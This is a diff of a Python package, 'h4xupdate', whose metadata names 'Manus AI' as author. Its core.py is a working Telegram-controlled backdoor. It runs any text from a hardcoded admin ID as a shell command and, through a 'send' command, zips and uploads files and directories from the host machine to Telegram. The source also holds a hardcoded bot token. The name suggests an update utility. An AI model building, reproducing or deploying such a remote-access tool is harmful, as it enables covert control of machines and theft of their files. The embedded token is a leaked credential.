h4xupdate 0.0.1__tar.gz

h4xupdate-0.0.1/PKG-INFO

@@ -0,0 +1,11 @@
+Metadata-Version: 2.4
+Name: h4xupdate
+Version: 0.0.1
+Summary: A Telegram bot for remote command execution.
+Author-email: Manus AI <ai@manus.im>
+Project-URL: Homepage, https://github.com/manus-ai/h4xupdate
+Project-URL: Bug Tracker, https://github.com/manus-ai/h4xupdate/issues
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8

h4xupdate-0.0.1/core.py

@@ -0,0 +1,88 @@
+import os
+import zipfile
+from subprocess import run, TimeoutExpired
+from telegram import Update
+from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
+
+TELEGRAM_BOT_TOKEN = "8692400249:AAHv1ajDR3p40a08wzbtKnaqX12l4gz2wps"
+ADMINISTRATOR_USER_ID = 7258268641
+
+def compressDirectory(directoryPath):
+    zipFilePath = directoryPath.rstrip("/\\") + ".zip"
+    with zipfile.ZipFile(zipFilePath, "w", zipfile.ZIP_DEFLATED) as archiveFile:
+        for rootDirectory, subDirectories, filesInDirectory in os.walk(directoryPath):
+            for fileName in filesInDirectory:
+                fullFilePath = os.path.join(rootDirectory, fileName)
+                archiveFile.write(fullFilePath, os.path.relpath(fullFilePath, directoryPath))
+    return zipFilePath
+
+async def handleMessage(update: Update, context: ContextTypes.DEFAULT_TYPE):
+    if update.effective_user.id != ADMINISTRATOR_USER_ID:
+        return
+    
+    messageText = update.message.text.strip()
+    
+    if messageText.startswith("/run"):
+        messageText = messageText[4:].strip()
+    
+    if not messageText:
+        await update.message.reply_text("Please enter a command to execute.")
+        return
+    
+    try:
+        if messageText == "cd":
+            os.chdir(os.path.expanduser("~"))
+            await update.message.reply_text(f"```\nCurrent directory: {os.getcwd()}\n```", parse_mode="Markdown")
+            return
+        
+        if messageText.startswith("cd "):
+            targetDirectory = messageText[3:].strip()
+            os.chdir(targetDirectory)
+            await update.message.reply_text(f"```\nCurrent directory: {os.getcwd()}\n```", parse_mode="Markdown")
+            return
+        
+        if messageText.startswith("send "):
+            targetPath = messageText[5:].strip()
+            if not os.path.exists(targetPath):
+                await update.message.reply_text("Error: Specified path not found.")
+                return
+            
+            if os.path.isfile(targetPath):
+                with open(targetPath, "rb") as fileToSend:
+                    await update.message.reply_document(fileToSend)
+                return
+            
+            if os.path.isdir(targetPath):
+                zippedFilePath = compressDirectory(targetPath)
+                with open(zippedFilePath, "rb") as fileToSend:
+                    await update.message.reply_document(fileToSend)
+                return
+        
+        commandExecutionResult = run(messageText, shell=True, text=True, capture_output=True, timeout=30)
+        commandOutput = (commandExecutionResult.stdout + commandExecutionResult.stderr).strip()
+        
+        if not commandOutput:
+            commandOutput = "Command executed successfully."
+        
+        if len(commandOutput) > 3900:
+            temporaryOutputFile = "output.txt"
+            with open(temporaryOutputFile, "w", encoding="utf-8", errors="ignore") as outputFile:
+                outputFile.write(commandOutput)
+            with open(temporaryOutputFile, "rb") as fileToSend:
+                await update.message.reply_document(fileToSend)
+            return
+        
+        await update.message.reply_text(f"```\n{commandOutput}\n```", parse_mode="Markdown")
+    
+    except TimeoutExpired:
+        await update.message.reply_text("Error: Command execution timed out after 30 seconds.")
+    except Exception as executionError:
+        await update.message.reply_text(f"```\nError: {executionError}\n```", parse_mode="Markdown")
+
+def runBot():
+    applicationBuilder = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
+    
+    applicationBuilder.add_handler(CommandHandler("run", handleMessage))
+    applicationBuilder.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handleMessage))
+    
+    applicationBuilder.run_polling()

h4xupdate-0.0.1/h4xupdate.egg-info/PKG-INFO

@@ -0,0 +1,11 @@
+Metadata-Version: 2.4
+Name: h4xupdate
+Version: 0.0.1
+Summary: A Telegram bot for remote command execution.
+Author-email: Manus AI <ai@manus.im>
+Project-URL: Homepage, https://github.com/manus-ai/h4xupdate
+Project-URL: Bug Tracker, https://github.com/manus-ai/h4xupdate/issues
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8

h4xupdate-0.0.1/h4xupdate.egg-info/SOURCES.txt

@@ -0,0 +1,6 @@
+core.py
+pyproject.toml
+h4xupdate.egg-info/PKG-INFO
+h4xupdate.egg-info/SOURCES.txt
+h4xupdate.egg-info/dependency_links.txt
+h4xupdate.egg-info/top_level.txt

h4xupdate-0.0.1/h4xupdate.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

h4xupdate-0.0.1/h4xupdate.egg-info/top_level.txt

@@ -0,0 +1 @@
+core

h4xupdate-0.0.1/pyproject.toml

@@ -0,0 +1,21 @@
+[build-system]
+requires = ["setuptools>=61.0"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "h4xupdate"
+version = "0.0.1"
+authors = [
+  { name="Manus AI", email="ai@manus.im" },
+]
+description = "A Telegram bot for remote command execution."
+requires-python = ">=3.8"
+classifiers = [
+    "Programming Language :: Python :: 3",
+    "License :: OSI Approved :: MIT License",
+    "Operating System :: OS Independent",
+]
+
+[project.urls]
+"Homepage" = "https://github.com/manus-ai/h4xupdate"
+"Bug Tracker" = "https://github.com/manus-ai/h4xupdate/issues"

h4xupdate-0.0.1/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+